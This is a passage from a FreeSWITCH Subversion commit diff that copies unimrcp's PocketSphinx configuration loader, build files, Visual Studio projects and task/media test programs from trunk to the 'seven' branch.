+				apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Detected Voice Inactivity "APT_SIDRES_FMT,
+					RECOGNIZER_SIDRES(recognizer));
+				pocketsphinx_end_of_input(recognizer,RECOGNIZER_COMPLETION_CAUSE_SUCCESS);
+				break;
+			default:
+				break;
+		}
+	}
+
+	return TRUE;
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/plugins/mrcp-pocketsphinx/src/pocketsphinx_properties.c

Copied: freeswitch/branches/seven/libs/unimrcp/plugins/mrcp-pocketsphinx/src/pocketsphinx_properties.c (from rev 14471, freeswitch/trunk/libs/unimrcp/plugins/mrcp-pocketsphinx/src/pocketsphinx_properties.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/plugins/mrcp-pocketsphinx/src/pocketsphinx_properties.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/plugins/mrcp-pocketsphinx/src/pocketsphinx_properties.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,209 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <apr_xml.h>
+#include "pocketsphinx_properties.h"
+#include "apt_log.h"
+
+static const apr_xml_elem* pocketsphinx_document_load(const char *file_path, apr_pool_t *pool)
+{
+	apr_xml_parser *parser = NULL;
+	apr_xml_doc *doc = NULL;
+	const apr_xml_elem *root;
+	apr_file_t *fd = NULL;
+	apr_status_t rv;
+
+	apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Open PocketSphinx Config File [%s]",file_path);
+	rv = apr_file_open(&fd,file_path,APR_READ|APR_BINARY,0,pool);
+	if(rv != APR_SUCCESS) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Open PocketSphinx Config File [%s]",file_path);
+		return FALSE;
+	}
+
+	rv = apr_xml_parse_file(pool,&parser,&doc,fd,2000);
+	if(rv != APR_SUCCESS) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Parse PocketSphinx Config File [%s]",file_path);
+		apr_file_close(fd);
+		return FALSE;
+	}
+
+	root = doc->root;
+	if(!root || strcasecmp(root->name,"pocketsphinx") != 0) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Unknown Document <%s>",root->name);
+		apr_file_close(fd);
+		return FALSE;
+	}
+
+	apr_file_close(fd);
+	return root;
+}
+
+static apt_bool_t sensitivity_properties_load(pocketsphinx_properties_t *properties, const apr_xml_elem *elem, apr_pool_t *pool)
+{
+	const apr_xml_attr *attr;
+	for(attr = elem->attr; attr; attr = attr->next) {
+		if(strcasecmp(attr->name,"level") == 0) {
+			properties->sensitivity_level = atol(attr->value);
+		}
+		else if(strcasecmp(attr->name,"timeout") == 0) {
+			properties->sensitivity_timeout = atol(attr->value);
+		}
+		else {
+			apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Unknown Attribute <%s>",attr->name);
+		}
+	}
+	return TRUE;
+}
+
+static apt_bool_t timer_properties_load(pocketsphinx_properties_t *properties, const apr_xml_elem *elem, apr_pool_t *pool)
+{
+	const apr_xml_attr *attr;
+	for(attr = elem->attr; attr; attr = attr->next) {
+		if(strcasecmp(attr->name,"noinput-timeout") == 0) {
+			properties->no_input_timeout = atol(attr->value);
+		}
+		else if(strcasecmp(attr->name,"recognition-timeout") == 0) {
+			properties->recognition_timeout = atol(attr->value);
+		}
+		else {
+			apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Unknown Attribute <%s>",attr->name);
+		}
+	}
+	return TRUE;
+}
+
+static apt_bool_t model_properties_load(pocketsphinx_properties_t *properties, const apr_xml_elem *elem, apr_pool_t *pool)
+{
+	const apr_xml_attr *attr;
+	for(attr = elem->attr; attr; attr = attr->next) {
+		if(strcasecmp(attr->name,"dir") == 0) {
+			properties->data_dir = apr_pstrdup(pool,attr->value);
+		}
+		else if(strcasecmp(attr->name,"narrowband") == 0) {
+			properties->model_8k = apr_pstrdup(pool,attr->value);
+		}
+		else if(strcasecmp(attr->name,"wideband") == 0) {
+			properties->model_16k = apr_pstrdup(pool,attr->value);
+		}
+		else if(strcasecmp(attr->name,"dictionary") == 0) {
+			properties->dictionary = apr_pstrdup(pool,attr->value);
+		}
+		else if(strcasecmp(attr->name,"preferred") == 0) {
+			if(strcasecmp(attr->value,"narrowband") == 0) {
+				properties->preferred_model = POCKETSPHINX_MODEL_NARROWBAND;
+			}
+			else if(strcasecmp(attr->value,"wideband") == 0) {
+				properties->preferred_model = POCKETSPHINX_MODEL_WIDEBAND;
+			}
+		}
+		else {
+			apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Unknown Attribute <%s>",attr->name);
+		}
+	}
+	return TRUE;
+}
+
+static apt_bool_t save_waveform_properties_load(pocketsphinx_properties_t *properties, const apr_xml_elem *elem, apr_pool_t *pool)
+{
+	const apr_xml_attr *attr;
+	for(attr = elem->attr; attr; attr = attr->next) {
+		if(strcasecmp(attr->name,"dir") == 0) {
+			properties->save_waveform_dir = apr_pstrdup(pool,attr->value);
+		}
+		else if(strcasecmp(attr->name,"enable") == 0) {
+			properties->save_waveform = atoi(attr->value);
+		}
+		else {
+			apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Unknown Attribute <%s>",attr->name);
+		}
+	}
+	return TRUE;
+}
+
+apt_bool_t pocketsphinx_properties_load(pocketsphinx_properties_t *properties, 
+										const char *file_path, 
+										const apt_dir_layout_t *dir_layout, 
+										apr_pool_t *pool)
+{
+	const apr_xml_elem *elem;
+	const apr_xml_elem *root;
+	char *path = NULL;
+
+	/* reset or set default properties */
+	properties->data_dir = NULL;
+	properties->dictionary = NULL;
+	properties->model_8k = NULL;
+	properties->model_16k = NULL;
+	properties->preferred_model = POCKETSPHINX_MODEL_NARROWBAND;
+
+	properties->no_input_timeout = 10000;
+	properties->recognition_timeout = 15000;
+	properties->partial_result_timeout = 100;
+
+	properties->save_waveform = TRUE;
+	properties->save_waveform_dir = NULL;
+
+	root = pocketsphinx_document_load(file_path,pool);
+	if(root) {
+		for(elem = root->first_child; elem; elem = elem->next) {
+			if(strcasecmp(elem->name,"sensitivity") == 0) {
+				sensitivity_properties_load(properties,elem,pool);
+			}
+			else if(strcasecmp(elem->name,"timers") == 0) {
+				timer_properties_load(properties,elem,pool);
+			}
+			else if(strcasecmp(elem->name,"model") == 0) {
+				model_properties_load(properties,elem,pool);
+			}
+			else if(strcasecmp(elem->name,"save-waveform") == 0) {
+				save_waveform_properties_load(properties,elem,pool);
+			}
+			else {
+				apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Unknown Element <%s>",elem->name);
+			}
+		}
+	}
+
+	/* verify loaded properties */
+	if(!properties->data_dir || *properties->data_dir == '\0') {
+		properties->data_dir = dir_layout->data_dir_path;
+	}
+	if(!properties->save_waveform_dir || *properties->save_waveform_dir == '\0') {
+		properties->save_waveform_dir = dir_layout->data_dir_path;
+	}
+
+	if(!properties->dictionary) {
+		properties->dictionary = "default.dic";
+	}
+	if(!properties->model_8k) {
+		properties->model_8k = "communicator";
+	}
+	if(!properties->model_16k) {
+		properties->model_16k = "wsj1";
+	}
+
+	if(apr_filepath_merge(&path,properties->data_dir,properties->dictionary,0,pool) == APR_SUCCESS) {
+		properties->dictionary = path;
+	}
+	if(apr_filepath_merge(&path,properties->data_dir,properties->model_8k,0,pool) == APR_SUCCESS) {
+		properties->model_8k = path;
+	}
+	if(apr_filepath_merge(&path,properties->data_dir,properties->model_16k,0,pool) == APR_SUCCESS) {
+		properties->model_16k = path;
+	}
+
+	return TRUE;
+}

Copied: freeswitch/branches/seven/libs/unimrcp/tests (from rev 14471, freeswitch/trunk/libs/unimrcp/tests)

Property changes: freeswitch/branches/seven/libs/unimrcp/tests


Name: svn:ignore
   + Makefile.in
Makefile

Deleted: freeswitch/branches/seven/libs/unimrcp/tests/Makefile.am

Copied: freeswitch/branches/seven/libs/unimrcp/tests/Makefile.am (from rev 14471, freeswitch/trunk/libs/unimrcp/tests/Makefile.am) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/tests/Makefile.am	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/tests/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,3 @@
+MAINTAINERCLEANFILES   = Makefile.in
+
+SUBDIRS                = apttest mpftest mrcptest rtsptest strtablegen

Copied: freeswitch/branches/seven/libs/unimrcp/tests/apttest (from rev 14471, freeswitch/trunk/libs/unimrcp/tests/apttest)

Property changes: freeswitch/branches/seven/libs/unimrcp/tests/apttest


Name: svn:ignore
   + Makefile.in
*.user
.deps
Makefile

Deleted: freeswitch/branches/seven/libs/unimrcp/tests/apttest/Makefile.am

Copied: freeswitch/branches/seven/libs/unimrcp/tests/apttest/Makefile.am (from rev 14471, freeswitch/trunk/libs/unimrcp/tests/apttest/Makefile.am) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/tests/apttest/Makefile.am	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/tests/apttest/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,11 @@
+MAINTAINERCLEANFILES = Makefile.in
+
+INCLUDES             = -I$(top_srcdir)/libs/apr-toolkit/include \
+                       $(UNIMRCP_APR_INCLUDES) $(UNIMRCP_APU_INCLUDES)
+
+noinst_PROGRAMS      = apttest
+apttest_LDADD        = $(top_builddir)/libs/apr-toolkit/libaprtoolkit.la \
+                       $(UNIMRCP_APR_LIBS) $(UNIMRCP_APU_LIBS)
+apttest_SOURCES      = src/main.c \
+                       src/task_suite.c \
+                       src/consumer_task_suite.c

Deleted: freeswitch/branches/seven/libs/unimrcp/tests/apttest/apttest.vcproj

Copied: freeswitch/branches/seven/libs/unimrcp/tests/apttest/apttest.vcproj (from rev 14471, freeswitch/trunk/libs/unimrcp/tests/apttest/apttest.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/tests/apttest/apttest.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/tests/apttest/apttest.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,171 @@
+<?xml version="1.0" encoding="windows-1251"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="8.00"
+	Name="apttest"
+	ProjectGUID="{429C907B-97D1-4B2D-9B0E-A14A5BFDAD15}"
+	RootNamespace="apttest"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			ConfigurationType="1"
+			InheritedPropertySheets="$(ProjectDir)..\..\build\vsprops\unidebug.vsprops;$(ProjectDir)..\..\build\vsprops\apt.vsprops"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="aprtoolkit.lib libaprutil-1.lib libapr-1.lib"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCWebDeploymentTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			ConfigurationType="1"
+			InheritedPropertySheets="$(ProjectDir)..\..\build\vsprops\unirelease.vsprops;$(ProjectDir)..\..\build\vsprops\apt.vsprops"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="aprtoolkit.lib libaprutil-1.lib libapr-1.lib"
+				LinkTimeCodeGeneration="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCWebDeploymentTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="src"
+			Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
+			>
+			<File
+				RelativePath=".\src\consumer_task_suite.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\main.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\task_suite.c"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="include"
+			Filter="h;hpp;hxx;hm;inl;inc;xsd"
+			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
+			>
+		</Filter>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Copied: freeswitch/branches/seven/libs/unimrcp/tests/apttest/src (from rev 14471, freeswitch/trunk/libs/unimrcp/tests/apttest/src)

Deleted: freeswitch/branches/seven/libs/unimrcp/tests/apttest/src/consumer_task_suite.c

Copied: freeswitch/branches/seven/libs/unimrcp/tests/apttest/src/consumer_task_suite.c (from rev 14471, freeswitch/trunk/libs/unimrcp/tests/apttest/src/consumer_task_suite.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/tests/apttest/src/consumer_task_suite.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/tests/apttest/src/consumer_task_suite.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,100 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <apr_time.h>
+#include "apt_test_suite.h"
+#include "apt_consumer_task.h"
+#include "apt_log.h"
+
+typedef struct {
+	apr_time_t timestamp;
+	int        number;
+} sample_msg_data_t;
+
+static void task_on_start_complete(apt_task_t *task)
+{
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"On Task Start");
+}
+
+static void task_on_terminate_complete(apt_task_t *task)
+{
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"On Task Terminate");
+}
+
+static apt_bool_t task_msg_process(apt_task_t *task, apt_task_msg_t *msg)
+{
+	sample_msg_data_t *data = (sample_msg_data_t*)msg->data;
+	apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Process Message [%d]",data->number);
+	return TRUE;
+}
+
+
+static apt_bool_t consumer_task_test_run(apt_test_suite_t *suite, int argc, const char * const *argv)
+{
+	apt_consumer_task_t *consumer_task;
+	apt_task_t *task;
+	apt_task_vtable_t *vtable;
+	apt_task_msg_pool_t *msg_pool;
+	apt_task_msg_t *msg;
+	sample_msg_data_t *data;
+	int i;
+	
+	msg_pool = apt_task_msg_pool_create_dynamic(sizeof(sample_msg_data_t),suite->pool);
+
+	apt_log(APT_LOG_MARK,APT_PRIO_NOTICE,"Create Consumer Task");
+	consumer_task = apt_consumer_task_create(NULL,msg_pool,suite->pool);
+	if(!consumer_task) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Create Consumer Task");
+		return FALSE;
+	}
+	task = apt_consumer_task_base_get(consumer_task);
+	vtable = apt_task_vtable_get(task);
+	if(vtable) {
+		vtable->process_msg = task_msg_process;
+		vtable->on_start_complete = task_on_start_complete;
+		vtable->on_terminate_complete = task_on_terminate_complete;
+	}
+
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Start Task");
+	if(apt_task_start(task) == FALSE) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Start Task");
+		apt_task_destroy(task);
+		return FALSE;
+	}
+
+	for(i=0; i<10; i++) {
+		msg = apt_task_msg_acquire(msg_pool);
+		msg->type = TASK_MSG_USER;
+		data = (sample_msg_data_t*) msg->data;
+
+		data->number = i;
+		data->timestamp = apr_time_now();
+		apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Signal Message [%d]",data->number);
+		apt_task_msg_signal(task,msg);
+	}
+
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Terminate Task [wait till complete]");
+	apt_task_terminate(task,TRUE);
+	apt_log(APT_LOG_MARK,APT_PRIO_NOTICE,"Destroy Task");
+	apt_task_destroy(task);
+	return TRUE;
+}
+
+apt_test_suite_t* consumer_task_test_suite_create(apr_pool_t *pool)
+{
+	apt_test_suite_t *suite = apt_test_suite_create(pool,"consumer",NULL,consumer_task_test_run);
+	return suite;
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/tests/apttest/src/main.c

Copied: freeswitch/branches/seven/libs/unimrcp/tests/apttest/src/main.c (from rev 14471, freeswitch/trunk/libs/unimrcp/tests/apttest/src/main.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/tests/apttest/src/main.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/tests/apttest/src/main.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,54 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "apt_test_suite.h"
+#include "apt_log.h"
+
+apt_test_suite_t* task_test_suite_create(apr_pool_t *pool);
+apt_test_suite_t* consumer_task_test_suite_create(apr_pool_t *pool);
+
+int main(int argc, const char * const *argv)
+{
+	apt_test_framework_t *test_framework;
+	apt_test_suite_t *test_suite;
+	apr_pool_t *pool;
+	
+	/* one time apr global initialization */
+	if(apr_initialize() != APR_SUCCESS) {
+		return 0;
+	}
+
+	/* create test framework */
+	test_framework = apt_test_framework_create();
+	pool = apt_test_framework_pool_get(test_framework);
+
+	/* create test suites and add them to test framework */
+	test_suite = task_test_suite_create(pool);
+	apt_test_framework_suite_add(test_framework,test_suite);
+
+	test_suite = consumer_task_test_suite_create(pool);
+	apt_test_framework_suite_add(test_framework,test_suite);
+
+	/* run tests */
+	apt_test_framework_run(test_framework,argc,argv);
+
+	/* destroy test framework */
+	apt_test_framework_destroy(test_framework);
+
+	/* final apr global termination */
+	apr_terminate();
+	return 0;
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/tests/apttest/src/task_suite.c

Copied: freeswitch/branches/seven/libs/unimrcp/tests/apttest/src/task_suite.c (from rev 14471, freeswitch/trunk/libs/unimrcp/tests/apttest/src/task_suite.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/tests/apttest/src/task_suite.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/tests/apttest/src/task_suite.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,62 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "apt_test_suite.h"
+#include "apt_task.h"
+#include "apt_log.h"
+
+static apt_bool_t task_main(apt_task_t *task)
+{
+	apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Do the Job");
+	apt_task_delay(3000);
+	return TRUE;
+}
+
+static apt_bool_t task_test_run(apt_test_suite_t *suite, int argc, const char * const *argv)
+{
+	apt_task_t *task;
+	apt_task_vtable_t *vtable;
+
+	apt_log(APT_LOG_MARK,APT_PRIO_NOTICE,"Create Task");
+	task = apt_task_create(NULL,NULL,suite->pool);
+	if(!task) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Create Task");
+		return FALSE;
+	}
+	vtable = apt_task_vtable_get(task);
+	if(vtable) {
+		vtable->run = task_main;
+	}
+
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Start Task");
+	if(apt_task_start(task) == FALSE) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Start Task");
+		apt_task_destroy(task);
+		return FALSE;
+	}
+
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Wait for Task to Complete");
+	apt_task_wait_till_complete(task);
+	apt_log(APT_LOG_MARK,APT_PRIO_NOTICE,"Destroy Task");
+	apt_task_destroy(task);
+	return TRUE;
+}
+
+apt_test_suite_t* task_test_suite_create(apr_pool_t *pool)
+{
+	apt_test_suite_t *suite = apt_test_suite_create(pool,"task",NULL,task_test_run);
+	return suite;
+}

Copied: freeswitch/branches/seven/libs/unimrcp/tests/mpftest (from rev 14471, freeswitch/trunk/libs/unimrcp/tests/mpftest)

Property changes: freeswitch/branches/seven/libs/unimrcp/tests/mpftest


Name: svn:ignore
   + Makefile.in
*.user
.deps
Makefile

Deleted: freeswitch/branches/seven/libs/unimrcp/tests/mpftest/Makefile.am

Copied: freeswitch/branches/seven/libs/unimrcp/tests/mpftest/Makefile.am (from rev 14471, freeswitch/trunk/libs/unimrcp/tests/mpftest/Makefile.am) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/tests/mpftest/Makefile.am	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/tests/mpftest/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,12 @@
+MAINTAINERCLEANFILES = Makefile.in
+
+INCLUDES             = -I$(top_srcdir)/libs/mpf/include \
+                       -I$(top_srcdir)/libs/apr-toolkit/include \
+                       $(UNIMRCP_APR_INCLUDES) $(UNIMRCP_APU_INCLUDES)
+
+noinst_PROGRAMS      = mpftest
+mpftest_LDADD        = $(top_builddir)/libs/mpf/libmpf.la \
+                       $(top_builddir)/libs/apr-toolkit/libaprtoolkit.la \
+                       $(UNIMRCP_APR_LIBS) $(UNIMRCP_APU_LIBS)
+mpftest_SOURCES      = src/main.c \
+                       src/mpf_suite.c

Deleted: freeswitch/branches/seven/libs/unimrcp/tests/mpftest/mpftest.vcproj

Copied: freeswitch/branches/seven/libs/unimrcp/tests/mpftest/mpftest.vcproj (from rev 14471, freeswitch/trunk/libs/unimrcp/tests/mpftest/mpftest.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/tests/mpftest/mpftest.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/tests/mpftest/mpftest.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,167 @@
+<?xml version="1.0" encoding="windows-1251"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="8.00"
+	Name="mpftest"
+	ProjectGUID="{DCF01B1C-5268-44F3-9130-D647FABFB663}"
+	RootNamespace="mpftest"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			ConfigurationType="1"
+			InheritedPropertySheets="$(ProjectDir)..\..\build\vsprops\unidebug.vsprops;$(ProjectDir)..\..\build\vsprops\mpf.vsprops"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="mpf.lib aprtoolkit.lib libaprutil-1.lib libapr-1.lib ws2_32.lib winmm.lib"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCWebDeploymentTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			ConfigurationType="1"
+			InheritedPropertySheets="$(ProjectDir)..\..\build\vsprops\unirelease.vsprops;$(ProjectDir)..\..\build\vsprops\mpf.vsprops"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="mpf.lib aprtoolkit.lib libaprutil-1.lib libapr-1.lib ws2_32.lib winmm.lib "
+				LinkTimeCodeGeneration="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCWebDeploymentTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="src"
+			Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
+			>
+			<File
+				RelativePath=".\src\main.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\mpf_suite.c"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="include"
+			Filter="h;hpp;hxx;hm;inl;inc;xsd"
+			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
+			>
+		</Filter>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Copied: freeswitch/branches/seven/libs/unimrcp/tests/mpftest/src (from rev 14471, freeswitch/trunk/libs/unimrcp/tests/mpftest/src)

Deleted: freeswitch/branches/seven/libs/unimrcp/tests/mpftest/src/main.c

Copied: freeswitch/branches/seven/libs/unimrcp/tests/mpftest/src/main.c (from rev 14471, freeswitch/trunk/libs/unimrcp/tests/mpftest/src/main.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/tests/mpftest/src/main.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/tests/mpftest/src/main.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,50 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
